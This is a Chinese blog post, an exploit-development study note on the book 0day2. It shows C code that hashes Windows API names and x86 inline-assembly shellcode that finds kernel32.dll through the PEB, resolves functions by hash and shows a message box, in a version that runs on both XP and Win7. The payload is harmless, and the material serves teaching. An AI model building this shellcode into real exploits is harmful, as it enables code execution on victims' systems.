旧书重温:0day2【4】动态获取函数地址

通过以上3篇文章的学习,我们已经可以获取到kernel32.dll的地址了下一步 我们就是获取几个重要的函数

1.GetProcAddress 2.LoadLibrary 有了这两个函数很多函数都可以找到了,这节的目的最终就是找到这两个函数,为了便于测试和验证我们还要动态获取下MessageBoxA函数,最后弹出个对话窗口,还要安全退出那就要用到ExitProcess。

 

那么咱们就结合0day2第三章的知识,通过hash来查找的相应的函数名称,再间接获取函数地址

首先我们先来找到hash

 1 #include "stdafx.h"
 2 #include <stdio.h>
 3 #include <windows.h>
 4 DWORD GetHash(char *fname)
 5 {
 6     printf("%s",fname);
 7     DWORD dret = 0;
 8     while(*fname)
 9     {
10         dret = ((dret<<25)|(dret>>7));
11         dret += *fname;
12         fname++;
13     }
14     printf(" function`s hash is %.8x\n",dret);
15     return dret;
16 }
17 int main(int argc, char* argv[])
18 {
19     //char fname[]={"MessageBoxA"};
20     //DWORD dret = GetHash(fname);
21     Gethash("ExitProcess");
22     GetHash("MessageBoxA");
23     GetHash("LoadLibraryA");
24     GetHash("GetProcAddress");
25     return 0;
26 }
MessageBoxA function`s hash is 1e380a6a
ExitProcess function`s hash is 4fd18963
LoadLibraryA function`s hash is 0c917432
GetProcAddress function`s hash is bbafdf85

代码执行结果。

 

 

  1     nop
  2     nop
  3     nop
  4     nop
  5     CLD                    // clear flag DF
  6     push 0x1e380a6a        //msg hash
  7     push 0x4fd18963        // exit hash
  8     push 0x0c917432        //LoadL hash
  9     //push 0xbbafdf85        //GetProc hash 
 10     mov esi,esp            //esi = addr of first function GetProc`s addr
 11     lea edi,[esi+0x0c]    //edi = addr of last function msg`s addr
 12 
 13     // make some stack space to protect hash list
 14 
 15     xor ebx,ebx            //ebx = 0
 16     mov bh,0x04
 17     sub esp,ebx         //esp-0x400 抬高堆栈 保护hash list
 18     
 19     //push pointer to user32 onto stack
 20     mov bx,0x3233 //23
 21     push ebx
 22     push 0x72657375 //resu
 23     push esp
 24     xor edx,edx
 25 
 26     //find base addr of kernel32dll
 27     mov ebx,fs:[0x30]
 28     mov ecx,[ebx +0x0c]
 29     mov ecx,[ecx +0x1c]    // dll链表
 30     mov ecx,[ecx]        // 获取地2个链表
 31     mov ecx,[ecx]        // 获取第三个链表 win7 下必须加这一行, xp下注释这行
 32     mov ebp,[ecx +0x08]
 33 
 34 find_lib_functions:
 35     
 36     lodsd                    //esi 所指定的字符 传送如eax
 37     cmp eax,0x1e380a6a
 38 
 39     jne find_functions
 40     xchg eax,ebp
 41     call [edi - 0x8]
 42     xchg eax,ebp
 43 
 44 find_functions:
 45     pushad
 46     mov eax,[ebp+0x3c]
 47     mov ecx,[ebp+eax+0x78]
 48     add ecx,ebp
 49     mov ebx,[ecx+0x20]
 50     add ebx,ebp
 51     xor edi,edi
 52 
 53 next_function_loop:
 54     inc edi
 55     mov esi,[ebx+edi*4]
 56     add esi,ebp
 57     cdq
 58 
 59 hash_loop:
 60     movsx eax,byte ptr[esi]
 61     cmp al,ah
 62     jz compare_hash
 63     ror edx,7
 64     add edx,eax
 65     inc esi
 66     jmp hash_loop
 67 
 68 compare_hash:
 69     cmp edx,[esp+0x1c]
 70     jnz next_function_loop
 71     mov ebx,[ecx+0x24]
 72     add ebx,ebp
 73     mov di,[ebx+2*edi]
 74     mov ebx,[ecx+0x1c]
 75     add ebx,ebp
 76     add ebp,[ebx +4*edi]
 77     xchg eax,ebp
 78     pop edi
 79     stosd
 80     push edi
 81     popad 
 82     cmp eax,0x1e380a6a
 83     jne find_lib_functions
 84 
 85 function_call:
 86     xor ebx,ebx
 87     push ebx
 88     push 0x61616161
 89     push 0x62626262
 90     mov eax,esp
 91     push ebx
 92     push eax
 93     push eax
 94     push ebx
 95     call [edi-0x04]
 96     push ebx
 97     call [edi-0x08]
 98     nop
 99     nop
100     nop
101     nop

以上代码可以在win7下成功运行,只是不兼容xp,xp下测试要注释掉31行处。

 

所以我们还得想办法。

 

解决xp win7兼容问题,以下代码来自看雪 http://bbs.pediy.com/showthread.php?t=122260&highlight=next_module 感谢cryin

 但非常可惜的是这种方法在Win7下是不适用的,所以很高兴现在给大家分享国外网站上看到的一种新的方法来定位kernel32.dl的基地址,该方法可以在所有windows版本上适用!这种方法通过在InInitializationOrderModuleList中查找kernel32.dll模块名称的长度来定位它的基地址,因为"kernel32.dll"的最后一个字符为"\0"结束符。所以倘若模块最后一个字节为"\0"即可定位kernel32.dll的地址;

具体代码实现方法:
;find kernel32.dll
find_kernel32:
    push esi
    xor ecx, ecx
    mov esi, [fs:ecx+0x30]
    mov esi, [esi + 0x0c]
    mov esi, [esi + 0x1c]
next_module:
    mov eax, [esi + 0x8]
    mov edi,[esi+0x20]
    mov esi ,[esi]
    cmp [edi+12*2],cx       //判断下 12 字符处是否为字符串结尾, kernel32.dll 就是12个长度
    jne next_module
    pop esi
    Ret

 

 

经过改造和测试(xp win7下测试通过的代码)的汇编代码

 

 

  1 // 兼容win7 xp 的获取kernel32.dll地址,查找所需函数并弹窗的测试
  2     _asm
  3     {
  4                 nop
  5                 nop
  6                 nop
  7                 nop
  8                 CLD                                // clear flag DF
  9                 push 0x1e380a6a                    //msg hash
 10                 push 0x4fd18963                    // exit hash
 11                 push 0x0c917432                    //LoadL hash
 12                 //push 0xbbafdf85                //GetProc hash 
 13                 mov esi,esp                        //esi = addr of first function GetProc`s addr
 14                 lea edi,[esi+0x0c]                //edi = addr of last function msg`s addr
 15                 
 16                 // make some stack space to protect hash list
 17                 
 18                 xor ebx,ebx                        //ebx = 0
 19                 mov bh,0x04
 20                 sub esp,ebx                        //esp-0x400 抬高堆栈 保护hash list
 21                 
 22                 //push pointer to user32 onto stack
 23                 mov bx,0x3233                    //23
 24                 push ebx
 25                 push 0x72657375                    //resu
 26                 push esp
 27                 xor edx,edx
 28                 
 29                 //find base addr of kernel32dll
 30 find_kernel32:
 31                 mov ebx,fs:[edx + 0x30]       // 加上这个 edx 可以缩短shellcode长度,还没有00
 32                 mov ecx,[ebx +0x0c]
 33                 mov ecx,[ecx +0x1c]                // dll链表
 34                 //mov ecx,[ecx]                    // 获取地2个链表
 35                 //mov ecx,[ecx]                    // 获取第三个链表
 36                 push edi
 37                 push esi
 38 next_module:
 39                 
 40                 mov ebp,[ecx +0x08]                // dll 的地址
 41                 mov edi,[ecx+0x20]                 // AddressOfNames
 42                 mov ecx,[ecx]
 43                 cmp [edi+12*2],dx
 44                 jne next_module
 45                 
 46                 pop esi
 47                 pop edi
 48 
 49                 
 50 find_lib_functions:
 51             
 52                 lodsd                            //esi 所指定的字符 传送如eax
 53                 cmp eax,0x1e380a6a
 54                 
 55                 jne find_functions
 56                 xchg eax,ebp
 57                 call [edi - 0x8]
 58                 xchg eax,ebp
 59                 
 60 find_functions:
 61                 pushad
 62                 mov eax,[ebp+0x3c]
 63                 mov ecx,[ebp+eax+0x78]
 64                 add ecx,ebp
 65                 mov ebx,[ecx+0x20]
 66                 add ebx,ebp
 67                 xor edi,edi
 68                 
 69 next_function_loop:
 70                 inc edi
 71                 mov esi,[ebx+edi*4]
 72                 add esi,ebp
 73                 cdq
 74                 
 75 hash_loop:
 76             movsx eax,byte ptr[esi]
 77                 cmp al,ah
 78                 jz compare_hash
 79                 ror edx,7
 80                 add edx,eax
 81                 inc esi
 82                 jmp hash_loop
 83                 
 84 compare_hash:
 85                 cmp edx,[esp+0x1c]
 86                 jnz next_function_loop
 87                 mov ebx,[ecx+0x24]
 88                 add ebx,ebp
 89                 mov di,[ebx+2*edi]
 90                 mov ebx,[ecx+0x1c]
 91                 add ebx,ebp
 92                 add ebp,[ebx +4*edi]
 93                 xchg eax,ebp
 94                 pop edi
 95                 stosd
 96                 push edi
 97                 popad 
 98                 cmp eax,0x1e380a6a
 99                 jne find_lib_functions
100                 
101 function_call:
102                 xor ebx,ebx
103                 push ebx
104                 push 0x61616161
105                 push 0x62626262
106                 mov eax,esp
107                 push ebx
108                 push eax
109                 push eax
110                 push ebx
111                 call [edi-0x04]
112                 push ebx
113                 call [edi-0x08]
114                 nop
115                 nop
116                 nop
117                 nop
118     }

此代码兼容xp_win7 弹窗

接下来我们 提取shellcode,并结合第一节课,做成功溢出的实验

感谢 failwest、cryin 

 

----------------------------------------------------

| QQ252738331

| Q群: 104132152(群名称是缓冲区溢出|汇编|逆向)

| 微博: http://t.qq.com/zhenw0

----------------------------------------------------

posted @ 2013-12-11 10:43  zhenw0  Views(1771)  Comments(0Edit  收藏  举报